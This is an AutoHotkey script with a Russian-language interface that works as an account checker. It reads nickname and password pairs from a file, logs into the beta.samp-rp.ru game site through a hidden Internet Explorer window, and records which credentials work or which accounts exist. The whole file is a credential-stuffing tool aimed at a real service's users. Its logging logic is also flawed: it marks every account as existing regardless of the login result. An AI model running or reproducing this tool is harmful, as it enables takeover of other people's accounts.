#NoEnv
#Persistent
#SingleInstance, force
SetBatchLines -1
Gui, Add, Button, x0 y0 w43 h23 gGO, Начать
Gui, Add, Text, x0 y25 w70 h15, Аккаунты:
Gui, Add, Edit, x0 y40 w375 h95 HwndhLog -Wrap ReadOnly,    
Gui, Add, Button, x305 y0 w70 h23 gStop, Остановить
Gui, Show, w377 h138,    
ComObjError(false)
ie := ComObjCreate("InternetExplorer.Application")
ie.Visible := false
return

!1::gosub, GO
!2::gosub, Stop

Stop:
If IsObject(ie) {
    ie.quit()
    Log("Работа окончена.")
}
return

GuiClose:
ie.Quit()
ExitApp

GO:
Log("Работа начата.")
Loop, read, accounts.txt
{
nick := StringBetween(A_LoopReadLine, "", "|")
Pass := StringBetween(A_LoopReadLine, "|", "|")
RegExMatch(A_LoopReadLine, "(.*)\|(.*)", server)
ie.Navigate("http://beta.samp-rp.ru/аккаунт")
While ie.readyState != 4 || ie.document.readyState != "complete" || ie.busy
     continue
text := ie.document.body.innerText
If InStr(text, Nick) {
    ie.navigate("http://beta.samp-rp.ru/выход")
    While ie.readyState != 4 || ie.document.readyState != "complete" || ie.busy
     continue
    ie.Navigate("http://beta.samp-rp.ru/аккаунт")
    While ie.readyState != 4 || ie.document.readyState != "complete" || ie.busy
     continue
}
ie.document.all.login.value := Nick
ie.document.all.server.selectedIndex := server2
ie.document.all.password.value := Pass    
ie.document.forms[0].submit()
While ie.readyState != 4 || ie.document.readyState != "complete" || ie.busy
     continue
    text := ie.document.documentElement.innerText
If !InStr(text, Nick){
      If InStr(text, "Аккаунт не существует.")
     FileAppend, %nick% | %pass% | %server1% - Аккаунт не существует.`n, log.txt
     Log(nick " | " pass " | " server1 " - Аккаунт не существует.")
      If InStr(text, "Вы ввели неверный пароль.") ;
     FileAppend, %nick% | %pass% | %server1% - Вы ввели неверный пароль.`n, log.txt
     Log(nick " | " pass " | " server1 " - Вы ввели неверный пароль.")
}
FileAppend, %nick% | %pass% | %server1% - Аккаунт существует.`n, log.txt
Log(nick " | " pass " | " server1 " - Аккаунт существует.")
ie.navigate("http://beta.samp-rp.ru/выход")
    While ie.readyState != 4 || ie.document.readyState != "complete" || ie.busy
     continue
ie.Navigate("http://beta.samp-rp.ru/аккаунт")
    While ie.readyState != 4 || ie.document.readyState != "complete" || ie.busy
     continue
}
Log("Работа окончена.")
return

StringBetween(Str, NS, NE) {
       If (P1:=InStr(Str, NS, 1)) && (P2:=InStr(Str, NE, 1, P1+=StrLen(NS)))
           Return SubStr(Str, P1, P2-P1)    
}
Log(s, newline = true){    
    local c
    StringReplace s, s, `n, % chr(13)chr(10), A
    if StrLen(s) = 1
    {
     c := chr(*(&s))
     loop, 119
      s .= c
    }
    if (newline)
     s .= chr(13)chr(10)
    SendMessage, 0xC2, false, &s,, ahk_id %hLog%
}